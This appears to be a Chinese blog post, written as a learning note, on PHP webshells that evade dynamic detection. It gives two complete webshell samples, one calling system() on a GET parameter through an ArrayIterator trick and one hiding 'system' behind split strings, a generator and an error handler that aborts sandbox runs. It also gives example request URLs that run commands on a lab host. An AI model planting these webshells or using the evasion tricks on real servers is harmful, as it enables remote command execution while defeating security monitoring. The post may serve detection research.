记一次学习--webshell绕过(动态检测)

目录

第一种样本

代码分析

第二种样本

代码分析

题目分析

结果


不断学习,不断进步

快就是慢,慢就是快。审视自身

第一种样本

php 复制代码
<?php
class xxxd implements IteratorAggregate {
    public $xxx = "system";
    public function __construct() {
   }
    public function getIterator() {
        return new ArrayIterator($this);
   }
}
$obj = new xxxd;
foreach($obj as $key => $value) {
    $cmd = ['banana', 'orange', ...$_GET[1], 'watermelon'];
    call_user_func($value,$cmd[2]);
    exit();
}

代码分析

xxxd 类实现了 IteratorAggregate 接口。这意味着类需要定义 getIterator 方法,以便提供一个可遍历的对象。

类中有一个公共属性 $xxx,其值为 "system"。

getIterator 方法返回一个 ArrayIterator 对象。ArrayIterator 是一个内置的迭代器类,用于遍历数组或对象。这里传入的是 $this,即当前对象。

创建了一个 xxxd 类的实例 $obj。

使用 foreach 遍历 obj。由于 obj 实现了 IteratorAggregate 接口并返回一个 ArrayIterator 对象,所以 $obj 将被视为一个可以迭代的对象。

ArrayIterator 的行为:

ArrayIterator 处理 this(即 obj)作为数组。在 PHP 中,对象默认不被视为数组,因此 ArrayIterator 在这种情况下将对象的属性视为数组的键值对。

在这个例子中,obj 只有一个属性 xxx,其值为 "system"。因此 foreach 循环会将 key 设为 'xxx',将 value 设为 'system'

然后执行system和选中的$_GET1.

php 复制代码
http://192.168.244.152:8080/webshell/6.php?1[]=id

第二种样本

第二种样本脱胎于第一种样本,第一种样本可以绕过的原理是,当第一种样本不加参数直接访问这个代码会爆出错误。因此我猜测可能在动态检测的时候由于无法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码不能执行下去,所以如果我们可以找到其他的方法,通过传入参数的差异来打断动态执行,应该就可以绕过。这个的意思就是你的代码在动态检测中报错,动态检测认为你的...$_GET1他认为这里没有传值,代码无法执行,就会报错,然后动态检测觉得你的代码无法执行就没有检测了。但是我们知道这里可以传值,你的代码将结果执行了下去并得到了你想要的结果。

php 复制代码
<?php
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {
   trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
function xxxe(){
    $gen = (function() {
        yield 1;
        yield $_GET[1];
        return 3;
   })();
    foreach ($gen as $val) {
         echo 1/$_GET['x'];
         array_reduce(array(1),join(array_diff(["sys","tem"],[])),
($val));
   }  
      
}
header_register_callback('xxxe');

代码分析

这段代码定义了一个自定义错误处理函数,该函数会在发生 E_WARNING 或 E_STRICT 错误时触发一个用户错误 E_USER_ERROR。这将导致一个致命错误并终止脚本执行。

这段代码定义了一个匿名函数 xxxe,其中:

(gen) 是一个生成器,生成两个值:1 和 _GET1,然后返回 3。

foreach 遍历生成器 gen 的值。对每个值 val:

echo 1/_GET\['x'\]; 试图输出 1 除以 _GET'x' 的结果。如果 $_GET'x' 不存在或为零,这会引发警告或错误。

题目分析

然后回到题目这里由于是一个动态传参和第一种样本相同,然后这里会抛出一个错误,错误会被下图所示代码捕获,然后代码被捕获后将warning转换为error报错(这里是应为警告不会中断运行,但是错误会中断),爆出异常后,动态检测就认为你代码执行不下去了,就没有检测了。然后就饶过了

php 复制代码
http://192.168.244.152:8080/webshell/6_1.php?1=touch%20/tmp/test1.php&x=1

结果

相关推荐
nashane1 小时前
HarmonyOS 6学习:深入解析冷启动中的ArkCompiler
学习·华为·harmonyos
linux修理工1 小时前
使用codebuddy学习kafka
分布式·学习·kafka
阿寻寻1 小时前
【人工智能学习260612-软件测试篇】小工具实现 [特殊字符] Prompt工程 + RAG思路 + API调用 + 自动化测试
人工智能·功能测试·学习·prompt
吃好睡好便好2 小时前
白发的根源和应对
学习·生活
自然语2 小时前
基于场景、需求、方法匹配和学习评价的垂直移动任务控制系统
学习
旅僧3 小时前
Π0 理论讲解更新中
学习
知南x3 小时前
【DPDK例程学习】(3) timer
学习
「維他檸檬茶」4 小时前
大模型算法学习2026.6.13
学习·算法
代码续发4 小时前
AI Agent的学习记录
学习
ken22325 小时前
文本编辑器默认字体 收集
学习